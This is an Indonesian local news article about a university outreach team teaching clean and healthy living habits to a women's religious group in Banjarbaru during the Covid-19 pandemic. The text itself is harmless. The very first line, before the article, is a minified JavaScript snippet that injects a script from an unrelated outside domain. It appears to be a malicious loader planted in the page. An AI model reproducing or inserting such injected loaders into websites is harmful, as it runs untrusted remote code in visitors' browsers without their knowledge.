(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Pola hidup sehat menjadi kunci menghadapi pandemi Covid-19. Meski ada penurunan signifikan kasus harian dengan beralihnya status Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di Banjarbaru dari level 4 ke level 2, namun menerapkan pola hidup sehat dan menaati protokol kesehatan menjadi solusi untuk menghindari melonjaknya kasus Covid-19 seperti sebelumnya.
Hal ini pula yang menjadi perhatian dari tim pengabdi Fakultas MIPA Universitas Lambung Mangkurat (ULM) untuk melakukan sosialisasi program Perilaku Hidup Bersih dan Sehat (PBHS) kepada masyarakat di Banjarbaru.
Kali ini, sosialisasi digelar kepada kelompok Yasinan ibu-ibu di Mushalla Uswatun Hasana, RT 49/RW 005, Kompleks Nusantara Griya Permai (NGP), Guntung Manggis, Landasan Ulin, Banjarbaru, Sabtu (9/10/2021).
Hadir dalam kegiatan tersebut ketua tim Dahlena Ariyani SSi, MS, dan anggota Noer Komari SSi, Mkes, dan Kamilia Mustikasari SSi, Msi.
Baca juga : Cantik Kenakan Pakaian Pengantin Adat Banjar, Istri Lutfi Agizal: Semua Mata Tertuju Padaku
Pada kesempatan tersebut, Noer Komari menyampaikan, bahwa PBHS sebetulnya bagian juga yang ditekankan dalam ajaran Islam.
“Islam memandang pentingnya kebersihan. Kalau membaca kitab-kitab fiqih, maka selalu bersuci menjadi bab pertama yang disampaikan. Mulai dari pembahasan tentang macam macam air, cara berwudhu, mandi besar, hingga perilaku hidup sehat terkait pola makan dan kesehatan,” terangnya.
Noer Komari mengatakan, pola hidup bersih dan sehat yang menjadi salah satu aspek penting dari ajaran agama ini, mesti harus diaplikasikan dalam kehidupan sehari-hari baik.
“Islam menjadi agama yang luar biasa karena meletakkan kebersihan sebagai dasar dari perilalu. Bahkan tata cara masuk WC pun di atur dalam Islam,” tegasnya.
Baca juga : Santri Ponpes Rakha Divaksin, Capaian Vaksinasi di HSU Baru 24 Persen
Perilaku hidup bersih dan sehat yang disosialisasi oleh tim pengabdi FMIPA ULM meliputi: 1) Melakukan persalinan ditolong oleh tenaga kesehatan, 2) Memberi bayi ASI Eksklusif, 3 ) Menimbang balita setiap bulan, 4) Menggunakan air bersih, 5) Mencuci tangan dengan air bersih dan sabun, 6) Menggunakan jamban sehat, 7) Memberantas jentik di rumah sekali seminggu, 8) Makan buah dan sayur setiap hari, 9) Melakukan aktivitas fisik setiap hari, 10) tidak merokok.
Di akhir kegiatan, tim FMIPA ULM juga membagikan masker, hand sanitizer, dan alat kebersihan, kepada ibu-ibu yasinan. (Kanalkalimantan.com/kk/rilis)
Reporter : kk/rilis
Editor : cell
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi juara umum pada MTQ… Read More
This website uses cookies.